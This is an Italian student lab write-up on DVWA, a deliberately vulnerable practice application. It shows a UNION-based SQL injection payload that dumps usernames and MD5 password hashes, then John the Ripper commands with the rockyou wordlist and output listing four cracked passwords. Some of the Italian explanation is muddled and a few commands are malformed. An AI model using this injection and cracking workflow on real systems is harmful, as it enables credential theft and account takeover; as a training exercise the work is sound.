

S6L3

LA TRACCIA DI OGGI CONSISTEVA TRAMITE UN TOOL DI KALI IN QUESTO CASO JOHN RIPPER DI CODIFICARE LE PASSWORD MD5 DAL DB DOPO AVER EFFETTUATO UNA SQL INJECTION CI VIENE DATO IL FIRST NAME ED IL SECONDO CODICE IN HASH CHE NOI ANDREMO A CRACKARE

Instructions	User ID:
Setup	<input type="text"/> <input type="button" value="Submit"/>
Brute Force	ID: 1' UNION SELECT user, password FROM users# First name: admin Surname: admin
Command Execution	ID: 1' UNION SELECT user, password FROM users# First name: admin Surname: 5f4dcc3b5aa765d61d8327deb882cf99
CSRF	ID: 1' UNION SELECT user, password FROM users# First name: gordonb Surname: e99a18c428cb38d5f260853678922e03
File Inclusion	ID: 1' UNION SELECT user, password FROM users# First name: 1337 Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
SQL Injection	ID: 1' UNION SELECT user, password FROM users# First name: pablo Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
SQL Injection (Blind)	ID: 1' UNION SELECT user, password FROM users# First name: smithy Surname: 5f4dcc3b5aa765d61d8327deb882cf99
Upload	
XSS reflected	
XSS stored	
DVWA Security	
PHP Info	
About	
Logout	

S6L3

Il tool che andremo ad utilizzare si chiama john the ripper ed è utilizzato per il cracking di password. Nel primo comando utilizzare con il comando `--wordlist` andremo a prendere dei file all'interno del Nostro kali (rock.you.txt) che sono dei nomi admin da inserire mentre il file da decifrare sarà **hash.txt**. Dove avremo incollato all'interno di esso i codici hash copiati dalla schermata precedente precisamente. Dopo la voce **Surname:**, dopo con il comando **show** di sotto vedremo che è riuscito a decifrarne 4.

```
4 password hashes cracked, 1 left

(kali㉿kali)-[~/Desktop]
$ sudo john --format=raw-md5 --wordlist= /home/kali/Desktop/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Remaining 1 password hash
Proceeding with wordlist:/usr/share/john/password.lst
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2024-01-10 12:13) 0g/s 88650p/s 88650c/s 88650C/s !@#%$..sss
Session completed.

(kali㉿kali)-[~/Desktop]
$ sudo john --format=raw-md5 --show= /home/kali/Desktop/rockyou.txt hash.txt
admin:password
gordonb:abc123
pablo:letmein
smithy:password

4 password hashes cracked, 1 left

(kali㉿kali)-[~/Desktop]
$ john --format=RAW-MD5 --show /home/kali/Desktop/rockyou.txt hash.txt
admin:password
gordonb:abc123
pablo:letmein
smithy:password

4 password hashes cracked, 1 left
```